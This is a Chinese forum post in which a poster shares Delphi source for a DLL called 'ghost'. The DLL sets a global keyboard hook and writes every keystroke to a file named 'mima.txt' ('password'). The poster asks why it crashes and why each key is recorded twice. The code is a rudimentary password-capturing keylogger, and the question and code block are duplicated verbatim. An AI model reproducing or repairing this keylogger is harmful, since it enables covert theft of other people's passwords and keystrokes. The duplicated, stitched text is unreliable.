小弟这几天作了一个小小的捕捉键盘输入的钩子函数,做了一人DLL(DLL代码如下)供主程序调用。但出现了点问题:就是把主程序最小化的时,只要按任一个键都出现错误,说是DLL发生的错误,但是把它作为当前程序输入时又正常工作,这是为什么呢???
还有一个问题:下面的钩子函数按一次键它就记录两次,怎样才能使它只记录一次呢??请高手指点!在此谢谢了!!祝大家新年快乐!!!library ghost;
uses
SysUtils,windows,
Classes;
var
hook:integer;
{$R *.res}
function recorded(icode:integer;wparam:wparam;lparam:lparam):LRESULT;stdcall;
var
ftext:textfile;
begin
try
AssignFile(ftext, 'mima.txt');
Append(ftext);
Write(ftext,chr(wparam));
finally
CloseFile(ftext);
result:=0;
end;
end;
procedure starthook;stdcall; //调用钩子函数
begin
hook:=setwindowshookex(WH_KEyboard,recorded,GetModuleHandle('ghost.dll'),0);
end;
procedure endhook;stdcall; //释放钩子函数
begin
unhookwindowshookex(hook);
end;
exports
starthook,endhook;
begin
end.
还有一个问题:下面的钩子函数按一次键它就记录两次,怎样才能使它只记录一次呢??请高手指点!在此谢谢了!!祝大家新年快乐!!!library ghost;
uses
SysUtils,windows,
Classes;
var
hook:integer;
{$R *.res}
function recorded(icode:integer;wparam:wparam;lparam:lparam):LRESULT;stdcall;
var
ftext:textfile;
begin
try
AssignFile(ftext, 'mima.txt');
Append(ftext);
Write(ftext,chr(wparam));
finally
CloseFile(ftext);
result:=0;
end;
end;
procedure starthook;stdcall; //调用钩子函数
begin
hook:=setwindowshookex(WH_KEyboard,recorded,GetModuleHandle('ghost.dll'),0);
end;
procedure endhook;stdcall; //释放钩子函数
begin
unhookwindowshookex(hook);
end;
exports
starthook,endhook;
begin
end.
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货